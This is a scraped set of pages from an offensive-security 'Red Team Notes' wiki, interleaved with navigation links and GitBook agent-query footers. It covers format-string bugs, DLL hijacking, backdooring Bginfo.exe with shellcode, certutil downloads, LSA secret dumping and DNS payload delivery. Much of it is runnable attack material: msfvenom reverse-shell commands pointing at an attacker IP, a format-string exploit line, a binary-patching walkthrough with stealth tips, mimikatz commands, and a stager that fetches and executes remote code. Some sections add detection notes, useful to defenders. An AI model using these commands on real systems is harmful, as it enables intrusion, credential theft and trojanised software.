Others for Situational Awareness](https://www.ired.team/offensive-security/enumeration-and-discovery/windows-event-ids-for-situational-awareness) --- # Privilege Escalation | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/privilege-escalation.md) . [Primary Access Token Manipulation](https://www.ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation) [Windows NamedPipes 101 + Privilege Escalation](https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) [DLL Hijacking](https://www.ired.team/offensive-security/privilege-escalation/t1038-dll-hijacking) [WebShells](https://www.ired.team/offensive-security/privilege-escalation/t1108-redundant-access) [Image File Execution Options Injection](https://www.ired.team/offensive-security/privilege-escalation/t1183-image-file-execution-options-injection) [Unquoted Service Paths](https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths) [Pass The Hash: Privilege Escalation with Invoke-WMIExec](https://www.ired.team/offensive-security/privilege-escalation/pass-the-hash-privilege-escalation-with-invoke-wmiexec) [Environment Variable $Path Interception](https://www.ired.team/offensive-security/privilege-escalation/environment-variable-path-interception) [Weak Service Permissions](https://www.ired.team/offensive-security/privilege-escalation/weak-service-permissions) [PreviousDetecting Sysmon on the Victim Host](https://www.ired.team/offensive-security/enumeration-and-discovery/detecting-sysmon-on-the-victim-host) [NextPrimary Access Token Manipulation](https://www.ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation) --- # Exfiltration | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/exfiltration.md) . [Powershell Payload Delivery via DNS using Invoke-PowerCloud](https://www.ired.team/offensive-security/exfiltration/payload-delivery-via-dns-using-invoke-powercloud) [PreviousOffice Templates](https://www.ired.team/offensive-security/persistence/office-templates) [NextPowershell Payload Delivery via DNS using Invoke-PowerCloud](https://www.ired.team/offensive-security/exfiltration/payload-delivery-via-dns-using-invoke-powercloud) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/format-string-bug.md). # Format String Bug Some notes on what a format string bug is and how it looks like in real life. ## Overview Format String bug appears in programs written in C, which means this bug is applicable to all operating systems that have a C compiler, or in other words - most of OSes. ## What is Format String? > \*\*printf format string\*\* refers to a control parameter used by a class of \[functions\](https://en.wikipedia.org/wiki/Function\_\\(computer\_science\\)) in the input/output libraries of \[C\](https://en.wikipedia.org/wiki/C\_\\(programming\_language\\)) and many other \[programming languages\](https://en.wikipedia.org/wiki/Programming\_languages). The string is written in a simple \[template language\](https://en.wikipedia.org/wiki/Template\_language): characters are usually copied literally into the function's output, but \*\*format specifiers\*\*, which start with a \[\`%\`\](https://en.wikipedia.org/wiki/Percent\_sign) character, indicate the location and method to translate a piece of data (such as a number) to characters.\\ > \[\\ > https://en.wikipedia.org/wiki/Printf\\\_format\\\_string\](https://en.wikipedia.org/wiki/Printf\_format\_string) In other words, format string allows the programmer to specify how a certain value, say a floating-point number such as money savings, should be printed to the screen. Let's look at the below code example, where the \`savings\` variable is defined as a floating value of \`345.82\`, which is printed to the screen with \`printf\`, using the format string \`Savings: $%f\`: {% hint style="info" %} The \`%f\` in the format string tells the \`printf()\` to print the value of \`savings\` as a floating-point value. {% endhint %} {% code title="fmt-00.c" %} \`\`\`c #include #include int main( int argc, char \*argv\[\] ) { double savings = 345.82; // The first argument is the format string. // It tells printf to print the value of savings as a floating value. printf("Savings: $%f", savings); return 0; } \`\`\` {% endcode %} Let's compile, run the code and observe the result: \`\`\` gcc .\\fmt-00.c -o fmt-00.exe; .\\fmt-00.exe \`\`\` ...we can see that the \`savings\` value was printed with 6 decimal places: !\[\](/files/-MkvLFOxzmXO2cl2Yojf) However, \`$345.820000\` is not the precision we need when dealing with money, so it would look better if the value only had 2 decimal places, such as \`$345.82\`. With the help of format string \`Savings: $%.2f\`, we can achieve exactly that: !\[\](/files/-MkvPjTYG9tsX18sMr\_0) ## What is Format String Bug? Programs become vulnerable to the format string bug when user supplied data is included in the format string the program uses to display the data when in print functions such as (not limited to): \`\`\`c printf fprintf sprintf snprintf ... \`\`\` ## Memory Read Format string vulnerabilities make it possible to read stack memory of the vulnerable program. Let's look at the sample code provided below, that takes in the user supplied argument 1 and uses it in inside the function \`printf\`, which means that the user's supplied string is used as a format string for the \`printf\` function: {% code title="fmt.c" %} \`\`\`c #include #include int main( int argc, char \*argv\[\] ) { if( argc != 2 ) { printf("Error - supply a format string please\\n"); return 1; } printf( argv\[1\] ); printf( "\\n" ); return 0; } \`\`\` {% endcode %} Let's compile and run the program without feeding it any strings first: \`\`\` gcc .\\fmt.c -o fmt.exe; .\\fmt.exe \`\`\` !\[\](/files/-MkvTra5yUwfUz8Vzjpt) Let's now supply a string format, say \`Testing: 0x%x\`: \`\`\` gcc .\\fmt.c -o fmt.exe; .\\fmt.exe "Testing: 0x%x" \`\`\` !\[\](/files/-MkvYWXntT5B7obZvCdF) Considering the fact that the format string is supplied, but the corresponding variable is not (which would be provided in the program written by a programmer, however in our case we are supplying the format string to the program via a commandline argument without associated variables), the program simply \*\*starts reading values from the stack memory\*\*. Note that there is nothing preventing us from reading even multiple values from the stack too: \`\`\` gcc .\\fmt.c -o fmt.exe; .\\fmt.exe "Reading stack memory: 0x%x 0x%x 0x%x 0x%x" \`\`\` !\[\](/files/-MkvWUHZCxYiZAs3FnKO) The above example illustrates how it may be possible to abuse this bug to read program's stack memory, which may reveal some sensitive information, such as authentication passwords. ## Memory Write Format string vulnerabilities make it possible to write to arbitrary memory locations inside the vulnerable program. To see this in action, we're going to use the following purposely vulnerable code from: {% embed url="" %} \`\`\`cpp #include #include #include #include int target; void vuln(char \*string) { printf(string); if(target) { printf("you have modified the target :)\\n"); } } int main(int argc, char \*\*argv) { vuln(argv\[1\]); } \`\`\` \`\`\` ./format1 "\` python -c "print 'AAAA' + 'x38\\x96\\x04\\x08' + 'BBBBBBBBBBBBBBBBBBBBBB' + '%x '\*128 " \`"; echo \`\`\` ### Exploit \`\`\` ./format1 "\` python -c "print 'AAAA' + 'x38\\x96\\x04\\x08' + 'BBBBBBBBBBBBBBBBBBBBBB' + '%x '\*127 + '%n ' " \`"; echo \`\`\` {% hint style="info" %} It's possible to abuse format bugs to execute shellcode, but I could not get my dev environment setup to reproduce the exploitation examples found in the book and online, so these notes are parked for the time being. {% endhint %} ## References {% embed url="" %} \--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/format-string-bug.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/privilege-escalation/t1038-dll-hijacking.md). # DLL Hijacking ## Execution Generating a DLL that will be loaded and executed by a vulnerable program which connect back to the attacking system with a meterpreter shell: {% code title="attacker\\@kali" %} \`\`\`csharp msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil-meterpreter64.dll \`\`\` {% endcode %} To illustrate this attack, we will exploit our beloved tool \`CFF Explorer.exe\` . Once the program is executed, it attempts to load \`CFF ExplorerENU.dll\` from the location the program is installed to, however that DLL cannot be loaded (note the NAME NOT FOUND) as it does not exist in the given path: !\[\](/files/-LIRknY3zb0\_MxOLj0NX) Luckily for the attacker, the location in which the DLL is being looked for - is world writable! Let's move our evil DLL \`evil-meterpreter64.dll\` to \`C:\\Program Files\\NTCore\\Explorer Suite\` and rename it to \`CFF ExplorerENU.dll\` !\[\](/files/-LIRmJl9V1yeo6QOGAr-) Launching the program again gives different results - DLL is found (SUCCESS): !\[\](/files/-LIRmfQYhm8047M\_0XQh) which is good news for the attacker - the DLL code gets executed, which gives attacker a meterpreter shell: !\[\](/files/-LIRmrmNBNKw7BSTVo\_K) ## Observations On the victim system, we can only see rundll32 with no associated parent process and established connection - this should raise your suspicion immediately: !\[\](/files/-LIRn5zzPhyA14bHGTe0) Looking at the rundll32 image info, we can see the current directory, which is helpful: !\[\](/files/-LIRnVNGX3\_GHnHxOxkS) Looking at the sysmon logs gives us a better understanding of what happened - CFF Explorer.exe was started as a process \`4856\` which then kicked off a rundll32 (\`1872\`) which then established a connection to 10.0.0.5: !\[\](/files/-LIRpIVuFbSrV3YO9f0h) ## References {% embed url="" %} {% embed url="" %} \--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/privilege-escalation/t1038-dll-hijacking.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/code-injection-process-injection/backdooring-portable-executables-pe-with-shellcode.md). # Backdooring PE Files with Shellcode The purpose of this lab is to learn the Portable Executable (PE) backdooring technique by adding a new readable/writable/executable code section with our malicious shellcode to any portable executable file. High level process of this technique: \* Add a new RWX PE section, big enough to hold our shellcode, to any .exe file \* Generate shellcode \* Add shellcode to the newly created PE section \* Redirect execution flow of the .exe file being backdoored to the shellcode \* Redirect execution flow back to the legitimate .exe instructions The last two steps are a bit more complicated and will have more details below. ## Groundwork ### Generate Shellcode First of, let's generate the shellcode so we know how many bytes of space we will need in the new PE section: \`\`\`csharp msfvenom -p windows/shell\_reverse\_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C \`\`\` !\[\](/files/-LkzORtGb\_fVtxARZaf9) Note that the shellcode size is 324 bytes - the new PE section will have to be at least that big. ### New PE Code Section I randomly chose Bginfo.exe from sysinternals as a binary to be backdoored. Let's add a new PE section called \`.code1\` that will contain our shellcode - note the size is 200h bytes, so plenty for our shellcode which was only 324 bytes: !\[\](/files/-LkzO5goEZJR5vHGqcUo) Note the Raw Address of the new section which is CD200 - this is where we will place the shellcode inside the file in later steps. Let's make the new PE section writable/executable and mark it as \`contains code\` using CFF Explorer: !\[\](/files/-LkzOCl4UOrIytApTV37) ### Inserting Shellcode Let's copy the shellcode over to the new code section, starting at 0xCD200 into the file: !\[\](/files/-LkzOGitaJ8ENZx4aN\_2) ### Testing the Shellcode Let's see if we can force the Bginfo.exe binary to execute our shellcode using debugger first. We need to find the base address of Bginfo.exe, which we see is 0x00400000: !\[\](/files/-LkzP2MTzsyl\_xVHjMdH) Since the new section .code1 that holds our shellcode has an RVA 000D8000, we can find the shellcode in a running process at 00400000+00d8000 = ‭4D8000‬. Below shows that the bytes at cd200 (file offset) match those at 4d8000 while the bginfo.exe is running: !\[\](/files/-LkzPrlIuIHPhePj4gbB) When debugging the binary, if we set the EIP to point to 4D8000‬ and let the debugger run, if we have a listener on the attacking system, we get the reverse shell which confirms that we can successfully execute the shellcode if we manage to redirect the code execution flow of bginfo.exe: !\[\](/files/-LkzjE8L4qN2ICgbKYm1) {% hint style="info" %} In the above screenshot, \`pushad\` and \`pushdf\` are the first instructions at 4d8000 - it's not shown in this lab how those two instructions were inserted there, but there is no magic - just add bytes \`60 9c\` before the shellcode at 0xCD200 in the bginfo and you're set. {% endhint %} ## Redirecting Code Execution Flow In previous paragraph we confirmed the shellcode can be executed, but we did this manually, with help of a debugger. Now let's patch the binary, so that the process is automated and does not require our intervention. The process of patching the binary to redirect the code execution flow is as follows: 1. Find the first instruction that is 5 bytes in size inside the bginfo.exe binary 1. We will overwrite this instruction with a jump to the shellcode as explained in step 2 2. Prior to overwriting this instruction, write it down somewhere - we will need to append it to our shellcode later in order to restore the code execution flow 3. Write down the address of the next instruction to be executed next - after the shellcode has been executed, stack and registers restored, we will jump back to this address to let the bginfo.exe continue as normal 2. Overwrite the instruction in step 1 with a jump to the shellcode at 4D8000‬ 3. Save registers' and flags' state by prepending the shellcode with \`pushad\` and \`pushfd\` instructions - we do this so we can restore their state before redirecting the execution back to bginfo.exe and avoid any crashes 4. Remember the ESP register value - we will need this when calculating by how much the stack size grew during the shellcode execution. This is required in order to restore the stack frame before redirecting the code execution back to bginfo.exe 5. Modify the shellcode: 1. Make sure that \`WaitForSingleObject\` does not wait indefinitely and does not freeze bginfo.exe once the shellcode is executed 2. Remove the last instruction of the shellcode \`call ebp\` to prevent the shellcode from shutting down of bginfo.exe 6. Note the ESP value and the end of shellcode execution - this is related to point 4 and 7 7. Restore the stack pointer ESP to what it was after the shellcode executed \`pushad\` and \`pushfd\` as explained in step 3, with \`add esp, \`. This is where ESPs from point 4 and 7 comes in to play 8. Restore registers with \`popfd\` and \`popad\` 9. Append the shellcode with the instruction we had overwritten in step 1 10. Restore code execution back to bginfo by jumping back to the next instruction after the owerwritten one as explained in 1.3 ### Overwriting 5 byte Instruction Let's now hijack the bginfo.exe code execution flow by overwriting any instruction that is 5 bytes in size - again - this is how many bytes we need for a \`jmp address\` instruction. One of the first 5-byte instructions we can see is \`mov edi, bb40e64e\` at 00467b29: {% hint style="warning" %} \*\*Important\*\* \\ We are about to overwrite the instruction \`mov edi, 0xbb40e64e\` at \*\*00467b29\*\*, hence we need to remember it for later as explained in 1.2. {% endhint %} !\[\](/files/-Lkz\_YnFy5qqhlkFJfyH) Let's overwrite the instruction at 00467b29 with an instruction \`jmp 0x004d8000\` which will make the bginfo jump to our shellcode located at 0x004d8000 when executed: !\[\](/files/-LkzaylyCqa-8zRfcmsD) {% hint style="warning" %} \*\*Important\*\*\\ Remember the address of the next instruction after \*\*0046b29\*\*, which is \*\*0467b2e\*\* - this is the address we will jump back after the shellcode has executed in order to resume bginfo. {% endhint %} There are multiple ways to overwrite the instructions at 00467b29 - either assemble the bytes using a debugger or patch the binary via a hex editor which is what I did. I found the bytes \`bf 4e e6 40 bb\` (bytes found at 00467b29 when bginfo is in memory) in the bginfo.exe (screenshot below) and replaced them with bytes \`e9 d2 04 07 00\` which translates to jmp \`bgfinfo.d48000\` (jump to our shellcode, above screenshot). !\[\](/files/-LkzaQceOQ3j5kB3XaBY) Below shows how the code redirection works and we jump to 4d8000 (shellcode) location once we hit the instruction at 00467b29: !\[\](/files/-Ll96u5bb1q1OXCJX5Kh) If we try running the patched binary now, we can see it results in a reverse shell, however the bginfo.exe itself is not visible - we will need to fix that: !\[\](/files/-LkzkixlLNKSi6nb-vDY) ### Patching Shellcode #### Patching WaitForSingleObject The reason the bginfo.exe is not showing any UI is because the thread is blocked by the shellcode call to \`WaitForSingleObject\` function (see definition below). It's called with an argument \`INFINITE\` (-1 or 0xFFFFFFFF‬), meaning the thread will be blocked forever. \[\`WaitForSingleObject\`\](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject) definition: \`\`\`cpp DWORD WaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds ); \`\`\` The below screenshot shows that EAX points to \`WaitForSingleObject\` which is going to be jumped to with \`jmp eax\` at 004d8081. Note the stack - it contains the thread handle (28c) to block and the wait time FFFFFFFF == INFINITE which is the second argument for \`WaitForSingleObject\`: !\[\](/files/-Ll3px7EmYpT1PNgqKha) Instruction \`dec esi\` at 004d811b changes ESI value to -1 (currently ESI = 0), which is the value pushed to the stack as an argument \`dwMilliSeconds\` for \`WaitForSignaledObject\`: !\[\](/files/-Ll3koptqHZSB7nYHz5T) Let's NOP that instruction, so that ESI stays unchanged at 0, which means that \`WaitForSingleObject\` will wait 0 seconds before unblocking the UI: !\[\](/files/-Ll3qfZF6Uro5HZAoW9I) #### Restoring Stack Frame & Jumping Back Next, we need to patch the \`call ebp\` instruction at 004d8144 if we don't want the shellcode to close the bginfo.exe process: !\[\](/files/-Ll3rXPG9tFjxHr9mJik) We will do this by replacing this instruction with an instruction that will restore our stack frame pointer ESP to what it was before we started executing our shellcode, but after we executed \`pushad\` and \`pushfd\` instructions as mentioned in point 7. From earlier, the \`ESP\` after \`pushad\` and \`pushfd\` was \`0019ff30\`: !\[\](/files/-Ll3tDJQ2pqphICgtoax) \`ESP\` after executing the shellcode was \`0019fd2c\`: !\[\](/files/-Ll3s6OF9x7ufPIN8UOu) Which means that the stack grew by 204h bytes: $$ 0019ff30 - 0019fd2c = 0x204 $$ Knowing all of the above, we need to: \* restore the stack by increasing the ESP by 0x204 bytes \* restore registers and flags with \`popfd\` and \`popad\` \* re-introduce the instruction we previously had overwritten with a jump to our shellcode \* jump back to the next instruction after the overwritten instruction that made the jump to the shellcode All the above steps in assembly would be: \`\`\`cpp add esp, 0x204 popfd popad mov edi, 0xbb40e64e jmp 0x00467B2E \`\`\` The below screenshot shows the very end of the shellcode with the above instructions encircled: !\[\](/files/-Ll3uk40tcavWPYIG6dy) ### Backdoor Demo If we save the patched binary and launch it - we can see that the reverse shell gets popped and the bginfo.exe is launched successfully: !\[\](/files/-Ll3xNXeWGuPj5XZXOov) ## Final Note This technique is not particularly stealthy. Rather than adding a new code section to the binary, it's better to attempt locating large spaces of unused bytes inside existing code sections, called code caves. To further improve stealthiness of this technique, you may want to consider encoding/encrypting your shellcode and executing it when user performs certain interaction with the binary you are backdooring, for example, invokes Help > About dialog box. ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/code-injection-process-injection/backdooring-portable-executables-pe-with-shellcode.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/defense-evasion/downloading-file-with-certutil.md). # Downloading Files with Certutil ## Execution \`\`\`csharp certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe \`\`\` !\[\](/files/-LM8yGKxHOpXRAIMdxo9) ## Observations Sysmon commandling logging is a good place to start for monitoring suspicious \`certutil.exe\` behaviour: !\[\](/files/-LM8z0Y-St784lDrvDbx) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/defense-evasion/downloading-file-with-certutil.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets.md). # Dumping LSA Secrets > #### \*\*What is stored in LSA secrets?\*\* > > Originally, the secrets contained cached domain records. Later, Windows developers expanded the application area for the storage. At this moment, they can store PC users' text passwords, service account passwords (for example, those that must be run by a certain user to perform certain tasks), Internet Explorer passwords, RAS connection passwords, SQL and CISCO passwords, SYSTEM account passwords, private user data like EFS encryption keys, and a lot more. For example, the \*NL$KM\* secret contains the cached domain password encryption key. ## Storage LSA Secrets are stored in registry: \`\`\` HKEY\_LOCAL\_MACHINE\\SECURITY\\Policy\\Secrets \`\`\` !\[\](/files/-L\_nZ7oFKOEfqjALlDeR) ## Execution ### Memory Secrets can be dumped from memory like so: {% code title="attacker\\@mimikatz" %} \`\`\` token::elevate lsadump::secrets \`\`\` {% endcode %} !\[\](/files/-L\_n\_A3tA2xMOaYQtxTp) ### Registry LSA secrets can be dumped from registry hives likes so: {% code title="attacker\\@victim" %} \`\`\`csharp reg save HKLM\\SYSTEM system & reg save HKLM\\security security \`\`\` {% endcode %} !\[\](/files/-L\_nc82n7p8W2gXS9zFH) {% code title="attacker\\@mimikatz" %} \`\`\`csharp lsadump::secrets /system:c:\\temp\\system /security:c:\\temp\\security \`\`\` {% endcode %} !\[\](/files/-L\_nc9hoEX5iDqh8iD1n) ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/exfiltration/payload-delivery-via-dns-using-invoke-powercloud.md). # Powershell Payload Delivery via DNS using Invoke-PowerCloud ## Credits Rushing to say that the tool \[Invoke-PowerCloud\](https://github.com/mantvydasb/powercloud/blob/master/Invoke-PowerCloud.ps1) was heavily inspired by and based on the awesome work that Dominic Chell (\[@domchell\](https://twitter.com/domchell)) from \[MDSec\](https://twitter.com/MDSecLabs) had done with \[PowerDNS\](https://github.com/mdsecactivebreach/PowerDNS) - go follow them and try out the \[tool\](https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/) if you have not done it yet. Not only that, I want to thank Dominic for taking his time to answer some of my questions regarding the PowerDNS, the setup and helping me troubleshoot it as I was having "some" issues getting the payload delivered to the target from the PowerDNS server. ...which eventually led me to Invoke-PowerCloud, so read on. ## What is Invoke-PowerCloud? \[Invoke-PowerCloud\](https://github.com/mantvydasb/powercloud/blob/master/Invoke-PowerCloud.ps1) is a script that allows you to deliver a powershell payload using DNS TXT records to a target in an environment that is egress limited to DNS only. ## How is Invoke-PowerCloud different from PowerDNS? I assume you have read \[PowerShell DNS Delivery with PowerDNS\](https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/) which explains how PowerDNS works. Invoke-PowerCloud works in a similar fashion, except for a couple of key differences, which may simplify the configuration process of your infrastructure to start delivering paylods via DNS. \\ \\ \*\*With PowerDNS you need:\*\* \* a dedicated linux box with a public IP where you can run PowerDNS, so it can act as a DNS server \* you also need multiple domain names to get the nameservers configured properly \*\*With Invoke-PowerCloud you need:\*\* \* a cloudflare.com account \* a domain name whose DNS management is transferred to cloudflare ## Cloudflare? eh? The way the tool works is by performing the following high level steps: \* Take the powershell payload file and base64 encode it \* Divide the payload into chunks of 255 bytes \* Create a DNS zone file with DNS TXT records representing each chunk of the payload data retrieved from the previous step \* Send the generated DNS zone file to cloudflare using their APIs \* Generate two stagers for use with authoritative NS/non-authoritative NS \* Stager can then be executed on the victim system. The stager will recover the base64 chunks from the DNS TXT records and rebuild the original payload \* Stager executes the payload in memory! {% hint style="info" %} If you run the tool again to deliver another payload, the previous DNS TXT records will be deleted {% endhint %} ## Demo ### One off Configuration Remember - you need a cloudflare.com account for this to work. Assuming you have that, you need to edit the Invoke-PowerCloud as follows: 1. your cloudflare API key, defined in the variable \`$Global:API\_KEY\` 2. your cloudflare email address, defined in the variable \`$Global:EMAIL\` !\[\](/files/-LOtZPzp1s2XelVa\_iP5) ### DNS Management Secondly, you need to move the domain name which you are going to use for payload delivery to cloudflare. In this demo, I will use a domain I own \`redteam.me\` which is now managed by cloudflare: !\[\](/files/-LOt\_GbcWRiPJeR2aC3T) Let's confirm redteam.me DNS is managed by cloudflare by issuing: \`\`\` host -t ns redteam.me \`\`\` !\[\](/files/-LOt\_e1e-3RlV4V-iCf6) ### Payload Let's create a simple payload file - it will print a red message to the screen and open up a calc.exe: {% code title="payload.txt" %} \`\`\`csharp Write-host -foregroundcolor red "This is our first payload using Invoke- PowerCloud. As usual, let's pop the calc.exe"; Start-process calc.exe \`\`\` {% endcode %} ### Good to Go We are now good to go - issue the below on your attacking system: \`\`\`csharp PS C:\\tools\\powercloud> . .\\powercloud.ps1; Invoke-PowerCloud -FilePath .\\payload.txt -Domain redteam.me -Verbose \`\`\` The script will generate two stagers. One of them is shown here: {% code title="attacker\\@victim" %} \`\`\`csharp $b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$\_.redteam.me")\[-1\] }; iex(\[System.Text.Encoding\]::ASCII.GetString(\[System.Convert\]::FromBase64String(($b64 -replace('\\t|"',""))))) \`\`\` {% endcode %} !\[\](/files/-LOtiqe\_mkkPs73QJs2s) Let's execute the stager on the victim system to get the payload delivered via DNS: !\[\](/files/-LOtj04bJh3lnE9szBaY) ### Animated Demo Everything in action can be seen in the below gif: !\[\](/files/-LOtglRjTv597hklO8L4) ## Is Invoke-PowerCloud better than PowerDNS? No. It just works slightly differently, but achieves the same end goal. Also note, that Cloudflare API rate limiting applies. ## Detection Let's deliver a PowerShell empire payload using DNS and see how the system reacts to this: !\[\](/files/-LOyPPPiK48hITH\_0AcE) For those wondering about detection possibilities, the following is a list of signs (mix and match) that may qualify the host behaviour as \`suspicious\` and warrant a further investigation: \* host "suddenly" bursted "many" \`DNS TXT\` requests to one domain \* DNS queries follow the naming convention of 1, 2, 3, ..., N \* majority of DNS answers contain \`TXT Lenght\` of \`255\` (trivial to change/randomize) \* DNS answers are all \`TTL = 120\` (trivial to change/randomize) \* TXT data in DNS answer has no white spaces (easy to change) \* host suddenly/in a short span of time spawned "many" \`nslookup\` processes \* has the endpoint changed once the DNS lookups stopped? i.e new processes spawned? Below is a snippet of the PCAP showing DNS traffic from the above demo - note the TXT Length and the data itself: !\[\](/files/-LOyOATFCkJBJORc4IIk) Spike of \`nslookup\` for a host in a short amount of time: !\[\](/files/-LOyOCmaJK2Fb-auwHbR) Below is a sample PCAP for your inspection: {% file src="/files/-LOyKABHsBOGmIV\\\_\\\_7OO" %} DNS Traffic Packet Trace {% endfile %} ## Download You can download or contribute to Invoke-PowerCloud here: {% embed url="" %} ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/exfiltration/payload-delivery-via-dns-using-invoke-powercloud.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c.md). # Writing and Compiling Shellcode in C This is a quick lab to get familiar with the process of writing and compiling shellcode in C and is merely a personal conspectus of the paper \[From a C project, through assembly, to shellcode\](https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf) by \[hasherezade\](https://twitter.com/hasherezade) for 